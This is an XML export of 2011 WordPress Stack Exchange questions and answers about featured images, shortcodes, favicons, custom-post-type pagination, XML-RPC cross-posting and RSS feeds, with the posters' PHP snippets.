  <row Id="21838" PostTypeId="1" CreationDate="2011-07-03T08:07:31.977" Score="0" ViewCount="114" Body="&lt;p&gt;&lt;strong&gt;The problem:&lt;/strong&gt;&lt;br&gt;&#xA;I'm posting from the Wordpress iPhone app. When adding an image, the image shows up in the description itself, which I don't like. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What I'm trying to do:&lt;/strong&gt;&lt;br&gt;&#xA;Remove the image from the description and do one of the following (don't know the benefits of one option over the other): &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Get the image source from the removed image and add it to a custom field. -OR- &lt;/li&gt;&#xA;&lt;li&gt;Set the image as the featured image &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I figure either one of those options would help me to isolate the image URL for use in my post templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What I've tried:&lt;/strong&gt;&lt;br&gt;&#xA;Literally everything under the sun. Right now I'm adding code to functions.php but would eventually like to make this a plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the code below is way off, but I want to post it to show some of the attempts I've made:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've added an action to run a function mpb_remove_post_image on content_save_pre ...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('content_save_pre', 'mpb_remove_post_image');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Problem with that is I don't have access to the post_id (which I need in order to set the featured image) using content_save_pre so I have to get the image url and look for a post with the guid equal to the image src...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function mpb_remove_post_image( $content ){&#xA;&#xA;    // strip slashes, I guess we need to readd slashes when we're done?&#xA;    $content = stripslashes($content);&#xA;&#xA;    // get the first image src&#xA;    $image_src = get_first_image($content);&#xA;&#xA;    // if there's an image src we can jam&#xA;    if(!is_null($image_src)){&#xA;&#xA;        global $wpdb;&#xA;&#xA;        // query the db for an attachment with this image&#xA;        //$thumb_id = $wpdb-&amp;gt;get_var($wpdb-&amp;gt;prepare(&quot;SELECT DISTINCT ID FROM $wpdb-&amp;gt;posts WHERE guid='$image_src'&quot;));&#xA;        $result = $wpdb-&amp;gt;get_results(&quot;SELECT ID, post_parent FROM {$wpdb-&amp;gt;posts} WHERE guid ='$image_src'&quot;);&#xA;&#xA;        $thumb_id = $result[0]-&amp;gt;ID;         &#xA;        $post_id = $result[0]-&amp;gt;post_parent;&#xA;&#xA;        // set the featured image&#xA;        mpb_set_featured_image($thumb_id,$post_id);&#xA;        // update_post_meta( $post_id, '_thumbnail_id', $thumb_id );&#xA;&#xA;    }&#xA;&#xA;    // remove any images in the content&#xA;    $content = preg_replace(&quot;/&amp;lt;img[^&amp;gt;]+\&amp;gt;/i&quot;, &quot;&quot;, $content);&#xA;&#xA;    $content = addslashes($content);&#xA;&#xA;    return $content;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the code above references this function I wrote to get the image...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_first_image($html){&#xA;&#xA;    require_once('simple_html_dom.php');&#xA;&#xA;    $post_dom = str_get_dom($html);&#xA;&#xA;    // get the first image&#xA;    $first_img = $post_dom-&amp;gt;find('img', 0);   &#xA;&#xA;    // if any images then return the src attribute&#xA;    if($first_img !== null) {&#xA;        return $first_img-&amp;gt;src;&#xA;    }&#xA;&#xA;    return null;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And to set the featured image ...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// set the featured image&#xA;function mpb_set_featured_image( $thumb_id, $post_id ){&#xA;&#xA;    update_post_meta( $post_id, '_thumbnail_id', $thumb_id );&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've also tried to add an action for save_post, but anything I do inside the function that runs seems to trigger another hook that runs save_post again so it turns into an endless loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know (even if it's at a high level) what steps I can take to accomplish this? To recap here's what I want to do...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On inserting a post 1) get the first image src 2) set it as a custom field or set it as a featured image 3) remove the image from the post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;edit&lt;/strong&gt; - I should mention the code I posted does work if you add the post through the wp admin. But not if you add it via the mobile app.&lt;/p&gt;&#xA;" OwnerUserId="6483" LastEditorUserId="6483" LastEditorDisplayName="" LastEditDate="2011-07-03T08:32:55.673" LastActivityDate="2011-07-03T08:32:55.673" Title="Extract image from content and set it as the featured image" Tags="&lt;functions&gt;&lt;hooks&gt;&lt;content&gt;&lt;add-action&gt;" CommentCount="2" />
  <row Id="21839" PostTypeId="2" ParentId="21836" CreationDate="2011-07-03T08:19:11.843" Score="4" ViewCount="" Body="&lt;p&gt;Your menu slug (5th parameter) can't be the same across multiple pages, and it obviously can't have an &amp;amp; in it, but you can have all the pages you want call the same callback function (the last param).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_submenu_page('upload_manage', &quot;Programs&quot;, &quot;Programs&quot;, 'manage_options', 'manage-programs', &quot;manage_data&quot;);&#xA;add_submenu_page('upload_manage', &quot;Schedule&quot;, &quot;Schedule&quot;, 'manage_options', 'manage-schedule', &quot;manage_data&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in the manage_data function, check the value of $_GET['page'] for the slug and act accordingly.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-07-03T08:19:11.843" CommentCount="1" />
  <row Id="21840" PostTypeId="1" CreationDate="2011-07-03T04:30:17.450" Score="0" ViewCount="48" Body="&lt;p&gt;I'm trying to spice up a theme of mine with some shortcode buttons but I'm having quite a bit of trouble when trying to call the author's name within the button itself. I tried simply including &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo do_shortcode('[button type=&quot;square&quot; color=&quot;black&quot; size=&quot;small&quot;] Posted by &amp;lt;?php the_author(); ?&amp;gt; [/button]'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in the theme where I want the button with the author's name to appear, but it just gives a button that says 'Posted by '. I'm not the most experienced coder, but I know a little bit of everything from tinkering with various themes over the years. All help is appreciated, thanks in advance!&#xA;-Matt&lt;/p&gt;&#xA;" LastActivityDate="2011-07-03T15:08:46.140" Title="Help with Wordpress function inside a shortcode" Tags="&lt;php&gt;&lt;functions&gt;&lt;shortcode&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="21841" PostTypeId="1" CreationDate="2011-06-28T14:08:02.900" Score="-1" ViewCount="56" Body="&lt;p&gt;I am using wordpress for my website. I put the favicon.ico file in the wp-content folder and I inserted this code into the header:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;link href=&quot;http://seriousautosport.com/wp-content/favicon.ico&quot; rel=&quot;shortcut icon&quot; type=&quot;image/x-icon&quot; /&amp;gt;&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the favicon works when I'm on the home page and it works on some other random pages. But not on every page. This happens in Chrome and in Firefox. IE works fine and I know why. But how do I get it to work in Chrome and Firefox? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Help. &lt;/p&gt;&#xA;" LastActivityDate="2011-07-03T09:51:05.707" Title="Favicon not working properly in chrome and in firefox" Tags="&lt;favicon&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="21842" PostTypeId="1" CreationDate="2011-06-27T12:59:06.420" Score="0" ViewCount="208" Body="&lt;p&gt;I am currently developing a WordPress website with a custom post_type called &quot;music&quot;.&#xA;I use the plugin wp-pagenavi to paginate content &quot;music&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I link on the first page, it's OK (see link below)&#xA;&lt;a href=&quot;http://carbonpaper-dev.imperatorium.org/music/page/1&quot; rel=&quot;nofollow&quot;&gt;http://carbonpaper-dev.imperatorium.org/music/page/1&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I link on the 2nd page:&#xA;&lt;a href=&quot;http://carbonpaper-dev.imperatorium.org/music/page/2&quot; rel=&quot;nofollow&quot;&gt;http://carbonpaper-dev.imperatorium.org/music/page/2&lt;/a&gt;&#xA;the expected content is printed, but the template displayed is not the one related to the &quot;music&quot; &lt;code&gt;post_type/page&lt;/code&gt; as the first page do but the one related to classic &quot;posts&quot; (not the same sidebar, no inclusion of music playback on click. ..)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my .htaccess:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# BEGIN WordPress&#xA;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;RewriteEngine On&#xA;RewriteBase /&#xA;RewriteRule ^index\.php$ - [L]&#xA;RewriteCond %{REQUEST_FILENAME} !-F&#xA;RewriteCond %{REQUEST_FILENAME} !-D&#xA;RewriteRule . /index.php [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&#xA;# END WordPress&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Should I change this file? otherwise how to fit the extension &lt;code&gt;wp-pagenavi&lt;/code&gt; with a custom post_type? or what should be the name for the file &lt;code&gt;{filename}.php&lt;/code&gt; in order to respect hierarchy template?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for your reply, and apologies for my English, I'm French...&lt;/p&gt;&#xA;" OwnerUserId="6550" LastActivityDate="2011-09-02T15:46:57.940" Title="Pagination problem (plugin wp-pagenavi) with a custom post type?" Tags="&lt;templates&gt;&lt;htaccess&gt;&lt;plugins&gt;&lt;pagination&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="21843" PostTypeId="1" CreationDate="2011-06-16T21:32:51.677" Score="0" ViewCount="30" Body="&lt;p&gt;I created a plugin to publish a post on another WP blog when I publish to my test one, but for now its just a hardcoded blank post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to essentially publish the same post to multiple blogs (They are on other servers).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would love some advice for how to read in the post data so that when I publish it, the same data is published to my other sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code is as follows:&#xA;(I obviously changed the user name / pass / site info for the target site in my code)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Plugin Name: PublishScript&#xA;*/&#xA;error_log (&quot;Didn't fail yet...at the beginning&quot;);&#xA;require_once(&quot;IXR_Library.php.inc&quot;);&#xA;&#xA;function new_post()&#xA;{&#xA;error_log (&quot;Didn't fail yet...&quot;);&#xA;$client-&amp;gt;debug = true; //Set it to false in Production Environment&#xA;&#xA;$title=&quot;Blog Title&quot;; // $title variable will insert your blog title&#xA;$body=&quot;Blog Content&quot;; // $body will insert your blog content (article content)&#xA;&#xA;$category=&quot;category1, category2&quot;; &#xA;$keywords=&quot;keyword1, keyword2, keyword3&quot;;&#xA;&#xA;$customfields=array('key'=&amp;gt;'Author-bio', 'value'=&amp;gt;'Autor Bio Here');&#xA;&#xA;$title = htmlentities($title,ENT_NOQUOTES,$encoding);&#xA;$keywords = htmlentities($keywords,ENT_NOQUOTES,$encoding);&#xA;&#xA;$content = array(&#xA;'title'=&amp;gt;$title,&#xA;'description'=&amp;gt;$body,&#xA;'mt_allow_comments'=&amp;gt;0, // 1 to allow comments&#xA;'mt_allow_pings'=&amp;gt;0, // 1 to allow trackbacks&#xA;'post_type'=&amp;gt;'post',&#xA;'mt_keywords'=&amp;gt;$keywords,&#xA;'categories'=&amp;gt;array($category),&#xA;'custom_fields' =&amp;gt; array($customfields)&#xA;&#xA;);&#xA;&#xA;// Create the client object&#xA;$client = new IXR_Client('http://mysite.com/xmlrpc.php');&#xA;&#xA;$username = &quot;username&quot;;&#xA;$password = &quot;password&quot;;&#xA;$params = array(0,$username,$password,$content,true);&#xA;&#xA;// Run a query for PHP&#xA;if (!$client-&amp;gt;query('metaWeblog.newPost', $params)) {&#xA;die('Something went wrong - '.$client-&amp;gt;getErrorCode().' : '.$client-&amp;gt;getErrorMessage());&#xA;}&#xA;else&#xA;error_log (&quot;Article Posted Successfully&quot;);&#xA;}&#xA;add_action('publish_post', 'new_post' );&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" LastActivityDate="2011-07-03T08:33:44.003" Title="Duplicate post header / body to post to another site simulataneosly?" Tags="&lt;plugins&gt;&lt;plugin-development&gt;" />
  <row Id="21844" PostTypeId="2" ParentId="21840" CreationDate="2011-07-03T08:44:35.883" Score="1" ViewCount="" Body="&lt;p&gt;It looks like you're using a php tag within a php tag. I'd try something more like this...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;    echo do_shortcode('[button type=&quot;square&quot; color=&quot;black&quot; size=&quot;small&quot;] Posted by '.get_the_author().' [/button]');&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or something like this...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;    $shortcode = '[button type=&quot;square&quot; color=&quot;black&quot; size=&quot;small&quot;] Posted by '.get_the_author().' [/button]';&#xA;    echo &quot;do_shortcode('$shortcode')&quot;;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6483" LastEditorUserId="6483" LastEditorDisplayName="" LastEditDate="2011-07-03T15:08:46.140" LastActivityDate="2011-07-03T15:08:46.140" CommentCount="2" />
  <row Id="21846" PostTypeId="2" ParentId="21834" CreationDate="2011-07-03T09:20:04.453" Score="1" ViewCount="" Body="&lt;p&gt;WordPress APIs usually refer to group of functions and concepts and are not versioned. Any versions refer to WP itself (or in some cases to bundled components, developed by third parties such as jQuery).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In WordPress version 2.8 creating widgets was refactored from older code (which you shouldn't care about) to newer class-based code (which you should use).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it's not like it is exactly same as it was in 2.8 (likely it isn't) but approach is same since then.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-07-03T09:20:04.453" CommentCount="1" />
  <row Id="21847" PostTypeId="1" CreationDate="2011-07-03T09:23:15.307" Score="0" ViewCount="44" Body="&lt;p&gt;I have found the following code to import feeds from multiple feeds and show them in wordpress. But, I want to sort all the combined feeds by date and show only 10. How can I do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;  $feed = fetch_feed(array('http://www.site1.com/feed/', 'http://www.site2.com/feed/'));&#xA;foreach($feed-&amp;gt;get_items() as $item) {&#xA;   echo $item-&amp;gt;get_title();&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6700" LastActivityDate="2011-07-03T09:23:15.307" Title="Importing multiple RSS feed into Wordpress and sorting them by date" Tags="&lt;rss&gt;&lt;feed&gt;" />
  <row Id="21848" PostTypeId="2" ParentId="21813" CreationDate="2011-07-03T09:28:43.430" Score="3" ViewCount="" Body="&lt;p&gt;As per &lt;a href=&quot;http://wordpress.stackexchange.com/questions/21834/wordpress-2-8-widget-api-is-suitable-for-worpress-3-1-4-plugins-development&quot;&gt;your other question&lt;/a&gt; rather than trying to use older API to implement widgets it is better to use newer and current approach as per &lt;a href=&quot;http://codex.wordpress.org/Widgets_API&quot; rel=&quot;nofollow&quot;&gt;Widgets API&lt;/a&gt; in Codex.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The difference is that newer code is more reliable and more functional (allows to easily have more complex features, such as multiple instances of the widget).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So issues with your code example are probably not worth fixing, better to just move to using currently suggested way.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-07-03T09:28:43.430" CommentCount="1" />
  <row Id="21849" PostTypeId="2" ParentId="21841" CreationDate="2011-07-03T09:51:05.707" Score="0" ViewCount="" Body="&lt;p&gt;The link you provided returns a 404, that seems to be the problem.&lt;/p&gt;&#xA;" OwnerUserId="3365" LastActivityDate="2011-07-03T09:51:05.707" />
  <row Id="21850" PostTypeId="2" ParentId="13851" CreationDate="2011-07-03T10:37:25.210" Score="1" ViewCount="" Body="&lt;p&gt;There is a more generic function: it's called &lt;code&gt;get_ancestors()&lt;/code&gt; and it's found in &lt;code&gt;wp-includes/taxonomy.php&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="205" LastEditorUserId="205" LastEditorDisplayName="" LastEditDate="2011-07-03T12:03:59.137" LastActivityDate="2011-07-03T12:03:59.137" CommentCount="1" />
  <row Id="21852" PostTypeId="1" CreationDate="2011-07-03T10:48:32.633" Score="0" ViewCount="53" Body="&lt;p&gt;I have looked everywhere and there's been a few attempts to do this in my themes function.php file but no luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'm after is that to make it easier for my Contributors, that the add new post is in one column, easier for them to do it step by step.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I can change it in the screen options but I would like it by default so then they have it all done for them.&lt;/p&gt;&#xA;" LastActivityDate="2011-08-04T09:38:24.503" Title="Make the &quot;Add New Post&quot; one column for all users" Tags="&lt;themes&gt;" AnswerCount="1" />
  <row Id="21853" PostTypeId="2" ParentId="21842" CreationDate="2011-07-03T12:17:35.237" Score="0" ViewCount="" Body="&lt;p&gt;Try this for the loop code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$paged = (get_query_var('paged')) ? get_query_var('paged') : 1;&#xA;$loop = new WP_Query( array(&#xA;    'post_type' =&amp;gt; 'music',&#xA;    'paged' =&amp;gt; $paged&#xA;) ); &#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6701" LastEditorUserId="6701" LastEditorDisplayName="" LastEditDate="2011-07-04T14:07:39.123" LastActivityDate="2011-07-04T14:07:39.123" />
  <row Id="21854" PostTypeId="1" CreationDate="2011-07-03T13:25:47.333" Score="1" ViewCount="60" Body="&lt;p&gt;Ideally what I'd like to do is hand a file to a function that returns the file as an attachment of the current post. Just as though it had been uploaded via the thickbox media uploader, but without the hassle of hijacking it's ugly interface.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a plugin/library/function I can use with my own plugins to achieve this?&lt;/p&gt;&#xA;" OwnerUserId="6318" LastActivityDate="2011-07-03T14:57:08.083" Title="Handling image uploads without thickbox" Tags="&lt;images&gt;&lt;attachments&gt;&lt;uploads&gt;&lt;media&gt;" AnswerCount="1" />
  <row Id="21855" PostTypeId="2" ParentId="21833" CreationDate="2011-07-03T13:46:59.657" Score="1" ViewCount="" Body="&lt;p&gt;Ok I got it&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Add the audio link to the feeds so we can podcast&#xA;function feed_customMeta($content) {&#xA;global $post, $id, $radioMeta;&#xA;&#xA;  if ( !is_feed() )&#xA;    return $content;&#xA;&#xA; $getRadioLink = '&amp;lt;a href=&quot;'.$radioMeta-&amp;gt;get_the_value('radioLink').'&quot;&amp;gt;Download Audio&amp;lt;/a&amp;gt;';&#xA;&#xA;  if( $getRadioLink)&#xA;    $content .= $getRadioLink;&#xA;    return $content;&#xA;}&#xA;add_filter('the_excerpt_rss', 'feed_customMeta');&#xA;add_filter('the_content_feed', 'feed_customMeta');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6696" LastActivityDate="2011-07-03T13:46:59.657" />
  <row Id="21856" PostTypeId="1" CreationDate="2011-07-03T14:08:27.353" Score="0" ViewCount="33" Body="&lt;p&gt;I'm experiencing some problems with my pagination when displaying custom post types. I would like to display 9 posts and then display a numeric pagination. This is working, some links are generated with (for me) correct URLs : &lt;a href=&quot;http://mywebsite/tutorial/page/2&quot; rel=&quot;nofollow&quot;&gt;http://mywebsite/tutorial/page/2&lt;/a&gt; or &lt;a href=&quot;http://mywebsite/tutorial/taxonomy/page/2&quot; rel=&quot;nofollow&quot;&gt;http://mywebsite/tutorial/taxonomy/page/2&lt;/a&gt; but it always finish on a 404 page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea is welcome, the following is my code so if you see any problem :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks by advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cyril&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    $args = array(&#xA;        'post_type' =&amp;gt; 'tutorial',&#xA;        'paged' =&amp;gt; ((get_query_var('paged')) ? get_query_var('paged') : 1),&#xA;        'posts_per_page' =&amp;gt; 9&#xA;    );&#xA;    query_posts($args);&#xA;?&amp;gt;&#xA;&#xA;[MAIN LOOP]&#xA;&#xA;&amp;lt;?php numeric_pagination(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is the numeric_pagination() function (found on the web, working on another website...) :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function numeric_pagination($pages = '', $range = 2) {&#xA;global $paged;&#xA;$showitems = ($range * 2) + 1;&#xA;if(empty($paged)) $paged = 1;&#xA;if($pages == '') {&#xA;    global $wp_query;&#xA;    $pages = $wp_query-&amp;gt;max_num_pages;&#xA;        if(!$pages) {&#xA;            $pages = 1;&#xA;        }&#xA;}   &#xA;&#xA;if(1 != $pages) {&#xA;    echo '&amp;lt;div class=&quot;numeric-pagination&quot;&amp;gt;&amp;lt;p&amp;gt;';&#xA;    if($paged &amp;gt; 2 &amp;amp;&amp;amp; $paged &amp;gt; $range+1 &amp;amp;&amp;amp; $showitems &amp;lt; $pages) echo '&amp;lt;a href=&quot;'.get_pagenum_link(1).'&quot;&amp;gt;&amp;amp;laquo;&amp;lt;/a&amp;gt;';&#xA;    if($paged &amp;gt; 1 &amp;amp;&amp;amp; $showitems &amp;lt; $pages) echo '&amp;lt;a href=&quot;'.get_pagenum_link($paged - 1).'&quot;&amp;gt;&amp;amp;lsaquo;&amp;lt;/a&amp;gt;';&#xA;&#xA;    for ($i=1; $i &amp;lt;= $pages; $i++) {&#xA;        if (1 != $pages &amp;amp;&amp;amp;( !($i &amp;gt;= $paged+$range+1 || $i &amp;lt;= $paged-$range-1) || $pages &amp;lt;= $showitems )) {&#xA;            echo ($paged == $i)? '&amp;lt;span class=&quot;current&quot;&amp;gt;'.$i.'&amp;lt;/span&amp;gt;':'&amp;lt;a href=&quot;'.get_pagenum_link($i).'&quot; class=&quot;inactive&quot; &amp;gt;'.$i.'&amp;lt;/a&amp;gt;';&#xA;        }&#xA;    }&#xA;&#xA;    if ($paged &amp;lt; $pages &amp;amp;&amp;amp; $showitems &amp;lt; $pages) echo '&amp;lt;a href=&quot;'.get_pagenum_link($paged + 1).'&quot;&amp;gt;&amp;amp;rsaquo;&amp;lt;/a&amp;gt;';  &#xA;    if ($paged &amp;lt; $pages-1 &amp;amp;&amp;amp;  $paged+$range-1 &amp;lt; $pages &amp;amp;&amp;amp; $showitems &amp;lt; $pages) echo '&amp;lt;a href=&quot;'.get_pagenum_link($pages).'&quot;&amp;gt;&amp;amp;raquo;&amp;lt;/a&amp;gt;';&#xA;    echo '&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is maybe a problem with my custom post type and my taxonomies so I give also the code for that :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* POST TYPE */&#xA;&#xA;add_action('init','create_tutorials_post_type');&#xA;function create_tutorials_post_type() {&#xA;    // Labels&#xA;    $labels = array(&#xA;        'name' =&amp;gt; 'Tutorials',&#xA;        'singular_name' =&amp;gt; 'Tutorial',&#xA;        'add_new' =&amp;gt; 'Add new',&#xA;        'add_new_item' =&amp;gt; 'Add new tutorial',&#xA;        'edit_item' =&amp;gt; 'Edit',&#xA;        'new_item' =&amp;gt; 'New tutorial',&#xA;        'view_item' =&amp;gt; 'View tutorial',&#xA;        'search_items' =&amp;gt; 'Search tutorial',&#xA;        'not_found' =&amp;gt;  'No tutorial found',&#xA;        'not_found_in_trash' =&amp;gt; 'No tutorial found in trash', &#xA;        'parent_item_colon' =&amp;gt; '',&#xA;        'menu_name' =&amp;gt; 'Tutorials'&#xA;    );&#xA;    // Arguments&#xA;    $args = array(&#xA;        'labels' =&amp;gt; $labels,&#xA;        'public' =&amp;gt; true,&#xA;        'publicly_queryable' =&amp;gt; true,&#xA;        'show_ui' =&amp;gt; true, &#xA;        'show_in_menu' =&amp;gt; true, &#xA;        'query_var' =&amp;gt; true,&#xA;        'rewrite' =&amp;gt; true,&#xA;        'capability_type' =&amp;gt; 'post',&#xA;        'has_archive' =&amp;gt; true, &#xA;        'hierarchical' =&amp;gt; false,&#xA;        'menu_position' =&amp;gt; null,&#xA;        'supports' =&amp;gt; array('title','editor','author','thumbnail','excerpt','comments')&#xA;    );&#xA;    // Register post type&#xA;    register_post_type('tutorial',$args);&#xA;}&#xA;&#xA;/* TAXONOMY */&#xA;&#xA;add_action('init','create_tutorials_taxonomies');&#xA;function create_tutorials_taxonomies() {&#xA;    // Labels&#xA;    $labels = array(&#xA;        'name' =&amp;gt; 'Tutorial types',&#xA;        'singular_name' =&amp;gt; 'Tutorial type',&#xA;        'search_items' =&amp;gt; 'Search a type',&#xA;        'all_items' =&amp;gt; 'All types',&#xA;        'parent_item' =&amp;gt; 'Parent type',&#xA;        'parent_item_colon' =&amp;gt; 'Parent type:',&#xA;        'edit_item' =&amp;gt; 'Edit type', &#xA;        'update_item' =&amp;gt; 'Update type',&#xA;        'add_new_item' =&amp;gt; 'Add new type',&#xA;        'new_item_name' =&amp;gt; 'New tutorial type',&#xA;        'menu_name' =&amp;gt; 'Types'&#xA;    );&#xA;    // Arguments&#xA;    $args =  array(&#xA;        'hierarchical' =&amp;gt; true,&#xA;        'labels' =&amp;gt; $labels,&#xA;        'show_ui' =&amp;gt; true,&#xA;        'query_var' =&amp;gt; true,&#xA;        'rewrite' =&amp;gt; array('slug' =&amp;gt; 'tutorials', 'hierarchical' =&amp;gt; true)&#xA;    );&#xA;    // Register taxonomy&#xA;    register_taxonomy('tutorial_type',array('tutorial'),$args);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6476" LastActivityDate="2011-08-10T22:22:05.430" Title="Pagination throws 404" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;pagination&gt;&lt;urls&gt;&lt;404-error&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="21857" PostTypeId="1" AcceptedAnswerId="21860" CreationDate="2011-07-03T14:31:03.340" Score="1" ViewCount="70" Body="&lt;p&gt;Is it only me or this is what's happening?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just want to get all posts starting from a certain offset, like 10. Instead I get all posts starting from the 0.&lt;/p&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2011-07-03T14:45:27.063" Title="WP_Query: offset ignored when posts_per_page is -1?" Tags="&lt;posts&gt;&lt;wp-query&gt;&lt;offsets&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="21858" PostTypeId="2" ParentId="21829" CreationDate="2011-07-03T14:35:14.353" Score="1" ViewCount="" Body="&lt;p&gt;The pagination works only, if the &lt;code&gt;paged&lt;/code&gt; attribute in the the global &lt;code&gt;$wp_query&lt;/code&gt; variable is set. You could store your query manually in this global or just use &lt;code&gt;query_posts()&lt;/code&gt; instead of &lt;code&gt;new WP_Query()&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    $paged = (get_query_var('paged')) ? get_query_var('paged') : 1;&#xA;    $the_query = query_posts(&#xA;        array(&#xA;            'post_type'=&amp;gt;'article',&#xA;            'posts_per_page'=&amp;gt;2,&#xA;            'orderby'=&amp;gt;'date',&#xA;            'paged'=&amp;gt;$paged&#xA;        )&#xA;    );&#xA;    // ...&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The function &lt;code&gt;query_posts()&lt;/code&gt; will unset an existing &lt;code&gt;$wp_query&lt;/code&gt; global, runs a new &lt;code&gt;WP_Query()&lt;/code&gt; and stores the result again in the global &lt;code&gt;$wp_query&lt;/code&gt; variable.&lt;/p&gt;&#xA;" OwnerUserId="3817" LastEditorUserId="3817" LastEditorDisplayName="" LastEditDate="2011-07-03T14:41:03.257" LastActivityDate="2011-07-03T14:41:03.257" CommentCount="1" />
